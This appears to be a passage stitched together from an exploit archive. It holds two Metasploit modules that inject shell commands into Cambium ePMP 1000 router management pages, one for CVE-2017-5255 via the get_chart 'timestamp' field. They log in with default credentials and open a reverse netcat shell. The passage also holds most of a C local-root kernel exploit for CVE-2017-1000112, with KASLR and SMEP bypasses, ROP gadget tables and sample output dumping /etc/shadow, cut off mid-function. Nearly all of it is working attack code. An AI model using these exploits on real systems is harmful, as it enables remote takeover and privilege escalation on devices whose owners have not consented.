      (res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
    )

    if good_response
      get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
      if !get_epmp_ver.nil?
        epmp_ver = get_epmp_ver[1]
        if !epmp_ver.nil?
          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
          return true, epmp_ver
        else
          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
          epmp_ver = ''
          return true, epmp_ver
        end
      end
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
      epmp_ver = nil
      return false
    end
  end

  #
  # check
  #
  def check
    success, epmp_ver = is_app_epmp1000?
    if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
      return CheckCode::Vulnerable
    else
      return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
    end
  end

  #
  # Login
  #
  def login(user, pass)
    res = send_request_cgi(
      {
        'uri' => '/cgi-bin/luci',
        'method' => 'POST',
        'headers' => {
          'X-Requested-With' => 'XMLHttpRequest',
          'Accept' => 'application/json, text/javascript, */*; q=0.01'
        },
        'vars_post' =>
          {
            'username' => 'dashboard',
            'password' => ''
          }
      }
    )

    cookies = res.get_cookies_parsed
    check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s

    good_response = (
      res &&
      res.code == 200 &&
      check_sysauth.include?('sysauth')
    )

    if good_response
      sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
      sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

      cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"

      res = send_request_cgi(
        {
          'uri' => '/cgi-bin/luci',
          'method' => 'POST',
          'cookie' => cookie1,
          'headers' => {
            'X-Requested-With' => 'XMLHttpRequest',
            'Accept' => 'application/json, text/javascript, */*; q=0.01',
            'Connection' => 'close'
          },
          'vars_post' =>
            {
              'username' => user,
              'password' => pass
            }
        }
      )

      cookies = res.get_cookies_parsed

      good_response = (
        res &&
        res.code == 200 &&
        !res.body.include?('auth_failed')
      )

      if good_response
        print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

        # check if max_user_number_reached?
        if !res.body.include?('max_user_number_reached')
        # get the final cookie now
          cookies = res.get_cookies_parsed
          stok_value = cookies.has_key?('stok') && cookies['stok'].first
          sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
          sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

          final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value

          # create config_uri
          config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'

          return final_cookie, config_uri_ping
        else
          print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
          final_cookie = 'skip'
          config_uri_ping = 'skip'
          return final_cookie, config_uri_ping
        end
      else
        print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
        final_cookie = 'skip'
        config_uri_ping = 'skip'
        return final_cookie, config_uri_ping
      end
    end
  end

  #
  # open cmd_shell
  #
  def cmd_shell(config_uri, cookie)
    command = payload.encoded
    inject = '|' + "#{command}" + ' ||'
    clean_inject = CGI.unescapeHTML(inject.to_s)

    print_status('Sending payload...')

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => config_uri,
        'cookie' => cookie,
        'headers' => {
          'Accept' => '*/*',
          'Accept-Language' => 'en-US,en;q=0.5',
          'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
          'X-Requested-With' => 'XMLHttpRequest',
          'Connection' => 'close'
        },
        'vars_post' =>
          {
            'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
            'packets_num' => clean_inject,
            'buf_size' => 0,
            'ttl' => 1,
            'debug' => '0'
          }
      }, 25
    )
    handler
  end

  # exploit

  def exploit
    success, epmp_ver = is_app_epmp1000?
    if epmp_ver < '2.5'
      cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
      if cookie == 'skip' && config_uri_ping == 'skip'
        return
      else
        cmd_shell(config_uri_ping, cookie)
      end
    else
      print_error('This ePMP version is not vulnerable. Module will not continue.')
      return
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",
      'Description' => %{
          This module exploits an OS Command Injection vulnerability in Cambium
          ePMP1000 device management portal. It requires any one of the following login
          credentials - admin/admin, installer/installer, home/home - to set up a reverse
          netcat shell. The module has been tested on versions 3.1-3.5-RC7.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'References' =>
        [
          ['CVE', '2017-5255'],
          ['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']
        ],
      'Privileged' => true,
      'Targets' =>
        [
          ['CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ]
        ],
      'DisclosureDate' => 'Dec 18 2017',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
    )

    register_options(
      [
        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
      ], self.class
    )

    deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
  end

  #
  # Fingerprinting
  #
  def is_app_epmp1000?
    begin
      res = send_request_cgi(
        {
          'uri'       => '/',
          'method'    => 'GET'
        }
      )
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    good_response = (
      res &&
      res.code == 200 &&
      (res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
    )

    if good_response
      get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
      if !get_epmp_ver.nil?
        epmp_ver = get_epmp_ver[1]
        if !epmp_ver.nil?
          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
          return true, epmp_ver
        else
          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
          epmp_ver = ''
          return true, epmp_ver
        end
      end
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
      epmp_ver = nil
      return false
    end
  end

  #
  # check
  #
  def check
    success, epmp_ver = is_app_epmp1000?
    if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
      return CheckCode::Vulnerable
    else
      return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
    end
  end

  #
  # Login
  #
  def login(user, pass)
    res = send_request_cgi(
      {
        'uri' => '/cgi-bin/luci',
        'method' => 'POST',
        'headers' => {
          'X-Requested-With' => 'XMLHttpRequest',
          'Accept' => 'application/json, text/javascript, */*; q=0.01'
        },
        'vars_post' =>
          {
            'username' => 'dashboard',
            'password' => ''
          }
      }
    )

    cookies = res.get_cookies_parsed
    check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s

    good_response = (
      res &&
      res.code == 200 &&
      check_sysauth.include?('sysauth')
    )

    if good_response
      sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
      sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
      prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)

      res = send_request_cgi(
        {
          'uri' => '/cgi-bin/luci',
          'method' => 'POST',
          'cookie' => sysauth_value,
          'headers' => {
            'X-Requested-With' => 'XMLHttpRequest',
            'Accept' => 'application/json, text/javascript, */*; q=0.01',
            'Connection' => 'close'
          },
          'vars_post' =>
            {
              'username' => user,
              'password' => pass,
              'prevsess' => prevsessid
            }
        }
      )

      good_response = (
        res &&
        res.code == 200 &&
        !res.body.include?('auth_failed')
      )

      if good_response
        print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

        # check if max_user_number_reached?
        if !res.body.include?('max_user_number_reached')
          # get the cookie now
          cookies = res.get_cookies_parsed
          stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
          stok_value = "#{stok_value_dirty}".split('"')[3]
          sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
          sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

          final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"

          # create config_uri
          config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
          return final_cookie, config_uri_get_chart
        else
          print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
          final_cookie = 'skip'
          config_uri_dump_config = 'skip'
          config_uri_reset_pass = 'skip'
          config_uri_get_chart = 'skip'
          return final_cookie, config_uri_get_chart
        end
      else
        print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
        final_cookie = 'skip'
        config_uri_get_chart = 'skip'
        return final_cookie, config_uri_get_chart
      end
    end
  end

  #
  # open cmd_shell
  #
  def cmd_shell(config_uri, cookie)
    command = payload.encoded
    inject = '|' + "#{command}"
    clean_inject = CGI.unescapeHTML(inject.to_s)

    print_status('Sending payload...')

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => config_uri,
        'cookie' => cookie,
        'headers' => {
          'Accept' => '*/*',
          'Accept-Language' => 'en-US,en;q=0.5',
          'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
          'X-Requested-With' => 'XMLHttpRequest',
          'Connection' => 'close'
        },
        'vars_post' =>
          {
            'measure' => 's', # This parameter can also be used for injection
            'timestamp' => clean_inject,
            'debug' => 0
          }
      }, 25
    )
    handler
  end

  # exploit

  def exploit
    _success, epmp_ver = is_app_epmp1000?
    if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
      print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
      return
    else
      cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])
      if cookie == 'skip' && config_uri_get_chart == 'skip'
        return
      else
        cmd_shell(config_uri_get_chart, cookie)
      end
    end
  end
end
            
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// EDB Note: Also included the work from ~ https://ricklarabee.blogspot.co.uk/2017/12/adapting-poc-for-cve-2017-1000112-to.html
//           Supports: Ubuntu Xenial (16.04) 4.4.0-81 
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text:   ffffffffae400000
// [.] commit_creds:        ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>

#define ENABLE_KASLR_BYPASS		1
#define ENABLE_SMEP_BYPASS		1

// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE =		0xffffffff81000000ul;

// Will be overwritten by detect_versions().
int kernel = -1;

struct kernel_info {
	const char* distro;
	const char* version;
	uint64_t commit_creds;
	uint64_t prepare_kernel_cred;
	uint64_t xchg_eax_esp_ret;
	uint64_t pop_rdi_ret;
	uint64_t mov_dword_ptr_rdi_eax_ret;
	uint64_t mov_rax_cr4_ret;
	uint64_t neg_rax_ret;
	uint64_t pop_rcx_ret;
	uint64_t or_rax_rcx_ret;
	uint64_t xchg_eax_edi_ret;
	uint64_t mov_cr4_rdi_ret;
	uint64_t jmp_rcx;
};

struct kernel_info kernels[] = {
	{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
	{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
	{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
	{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
	{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
	{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
	{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
	{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
	{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
	{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
	{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
	{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
	{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
    { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },	
};

// Used to get root privileges.
#define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)

// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret 
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET		(KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET			(KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET	(KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET			(KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET			(KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET			(KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET			(KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET		(KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET			(KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX				(KERNEL_BASE + kernels[kernel].jmp_rcx)

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

void get_root(void) {
	((_commit_creds)(COMMIT_CREDS))(
	    ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}

// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *

uint64_t saved_esp;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
	asm volatile ("					\n\
	payload:					\n\
		movq %%rbp, %%rax			\n\
		movq $0xffffffff00000000, %%rdx		\n\
		andq %%rdx, %%rax			\n\
		movq %0, %%rdx				\n\
		addq %%rdx, %%rax			\n\
		movq %%rax, %%rsp			\n\
		call get_root				\n\
		ret					\n\
	" : : "m"(saved_esp) : );
}

void payload();

#define CHAIN_SAVE_ESP				\
	*stack++ = POP_RDI_RET;			\
	*stack++ = (uint64_t)&saved_esp;	\
	*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define SMEP_MASK 0x100000

#define CHAIN_DISABLE_SMEP			\
	*stack++ = MOV_RAX_CR4_RET;		\
	*stack++ = NEG_RAX_RET;			\
	*stack++ = POP_RCX_RET;			\
	*stack++ = SMEP_MASK;			\
	*stack++ = OR_RAX_RCX_RET;		\
	*stack++ = NEG_RAX_RET;			\
	*stack++ = XCHG_EAX_EDI_RET;		\
	*stack++ = MOV_CR4_RDI_RET;

#define CHAIN_JMP_PAYLOAD                     \
	*stack++ = POP_RCX_RET;               \
	*stack++ = (uint64_t)&payload;        \
	*stack++ = JMP_RCX;

void mmap_stack() {
	uint64_t stack_aligned, stack_addr;
	int page_size, stack_size, stack_offset;
	uint64_t* stack;

	page_size = getpagesize();

	stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
	stack_addr = stack_aligned - page_size * 4;
	stack_size = page_size * 8;
	stack_offset = XCHG_EAX_ESP_RET % page_size;

	stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
			MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (stack == MAP_FAILED || stack != (void*)stack_addr) {
		perror("[-] mmap()");
		exit(EXIT_FAILURE);
	}

	stack = (uint64_t*)((char*)stack_aligned + stack_offset);

	CHAIN_SAVE_ESP;
	CHAIN_DISABLE_SMEP;
	CHAIN_JMP_PAYLOAD;
}

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

void mmap_syslog(char** buffer, int* size) {
	*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (*size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
		exit(EXIT_FAILURE);
	}

	*size = (*size / getpagesize() + 1) * getpagesize();
	*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
				   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
	if (*size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
		exit(EXIT_FAILURE);
	}
}

unsigned long get_kernel_addr_trusty(char* buffer, int size) {
	const char* needle1 = "Freeing unused";
	char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
		exit(EXIT_FAILURE);
	}

	int start = 0;
	int end = 0;
	for (end = start; substr[end] != '-'; end++);

	const char* needle2 = "ffffff";
	substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
		exit(EXIT_FAILURE);
	}

	char* endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xffffffffff000000ul;

	return r;
}

unsigned long get_kernel_addr_xenial(char* buffer, int size) {
	const char* needle1 = "Freeing unused";
	char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
		exit(EXIT_FAILURE);
	}

	int start = 0;
	int end = 0;
	for (start = 0; substr[start] != '-'; start++);
	for (end = start; substr[end] != '\n'; end++);

	const char* needle2 = "ffffff";
	substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
	if (substr == NULL) {
